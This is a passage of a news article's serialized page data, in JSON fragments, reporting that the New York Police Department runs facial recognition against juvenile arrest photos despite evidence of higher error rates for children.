g","name":"superJumbo","width":2048,"height":1365,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","name":"articleInline","width":190,"height":127,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption":{"text":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24.content.0":{"__typename":"TextInline","text":"Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.0":{"__typename":"TextInline","text":"The National Institute of Standards and Technology","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.1":{"__typename":"TextInline","text":", which is part of the Commerce Department and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2":{"__typename":"TextInline","text":"evaluates facial recognition ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3":{"__typename":"TextInline","text":"algorithms","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.4":{"__typename":"TextInline","text":" for accuracy, recently found the ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.5":{"__typename":"TextInline","text":"vast majority of more than 100 ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.6":{"__typename":"TextInline","text":"facial recognition ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.7":{"__typename":"TextInline","text":"algorithms had a higher rate of mistaken matches among children. The ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.8":{"__typename":"TextInline","text":"e","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.9":{"__typename":"TextInline","text":"rror rate was most pronounced in young children but was also seen in those aged 10 to 16.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.0":{"__typename":"TextInline","text":"Aging poses another problem:","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.1":{"__typename":"TextInline","text":" The appearance of children and adolescents can change ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.2":{"__typename":"TextInline","text":" drastically as bones stretch and shift, altering the underlying facial structure. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.0":{"__typename":"TextInline","text":"“I would use extreme caution in using those algorithms,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.1":{"__typename":"TextInline","text":"Karl Ricanek Jr.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.2":{"__typename":"TextInline","text":", a computer science professor and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.3":{"__typename":"TextInline","text":"co-founder of the Face Aging Group at the University of North Carolina-","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.4":{"__typename":"TextInline","text":"Wilmington","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.5":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32.content.0":{"__typename":"TextInline","text":"Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34.content.0":{"__typename":"TextInline","text":" “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.0":{"__typename":"TextInline","text":"Idemia","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.1":{"__typename":"TextInline","text":" and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.2":{"__typename":"TextInline","text":"DataWorks Plus","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.3":{"__typename":"TextInline","text":", the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.0":{"__typename":"TextInline","text":"The New York Police Department can take arrest photos of minors as young as ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.1":{"__typename":"TextInline","text":"11","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.2":{"__typename":"TextInline","text":" who are charged with a felony, depending on the severity of the charge. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40.content.0":{"__typename":"TextInline","text":"And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42.content.0":{"__typename":"TextInline","text":"Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44.content.0":{"__typename":"TextInline","text":"“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46.content.0":{"__typename":"TextInline","text":"Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48.content.0":{"__typename":"TextInline","text":"She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.0":{"__typename":"TextInline","text":"The Times learned details of the department’s use of facial recognition by reviewing documents posted online earlier this year by ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1":{"__typename":"TextInline","text":"Clare Garvie, a senior associate","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2":{"__typename":"TextInline","text":" at the Center on Privacy and Technology at Georgetown Law","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.3":{"__typename":"TextInline","text":". Ms. Garvie received the documents as part of an open records lawsuit. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52.content.0":{"__typename":"TextInline","text":"It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.0":{"__typename":"TextInline","text":"New York detectives rely on a vast network","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.1":{"__typename":"TextInline","text":" of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56.content.0":{"__typename":"TextInline","text":"By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58.content.0":{"__typename":"TextInline","text":"The documents showed that the juvenile database had been integrated into the system by 2015. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59.content.0":{"__typename":"TextInline","text":"“We have these photos. It makes sense,” Chief Shea said in the interview. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.0":{"__typename":"TextInline","text":"State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.1":{"__typename":"TextInline","text":" ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63.content.0":{"__typename":"TextInline","text":"When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65.content.0":{"__typename":"TextInline","text":"Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67.content.0":{"__typename":"TextInline","text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.0":{"__typename":"TextInline","text":"Bailey, who asked that she be identified only by her ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.1":{"__typename":"TextInline","text":"last name","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.2":{"__typename":"TextInline","text":" because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.0":{"__typename":"TextInline","text":"R","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.1":{"__typename":"TextInline","text":"ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, sai","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.2":{"__typename":"TextInline","text":"d ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.3":{"__typename":"TextInline","text":"Joy Buolamwini","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.4":{"__typename":"TextInline","text":", ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.5":{"__typename":"TextInline","text":"the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.6":{"__typename":"TextInline","text":", who has examined how human biases are built into artificial intelligence. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.0":{"__typename":"TextInline","text":"The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1":{"__typename":"TextInline","text":"more than 15 to 1","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.criminaljustice.ny.gov\u002Fcrimnet\u002Fojsa\u002Fjj-reports\u002Fnewyorkcity.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.2":{"__typename":"TextInline","text":".","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75.content.0":{"__typename":"TextInline","text":"“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0":{"__typename":"Article","promotionalHeadline":"Facial Recognition Makes You Safer","promotionalSummary":"Used properly, the software effectively identifies crime suspects without violating rights.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline","typename":"CreativeWorkHeadline"},"summary":"Used properly, the software effectively identifies crime suspects without violating rights.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","firstPublished":"2019-06-09T23:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline":{"default":"How Facial Recognition Makes You Safer","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\"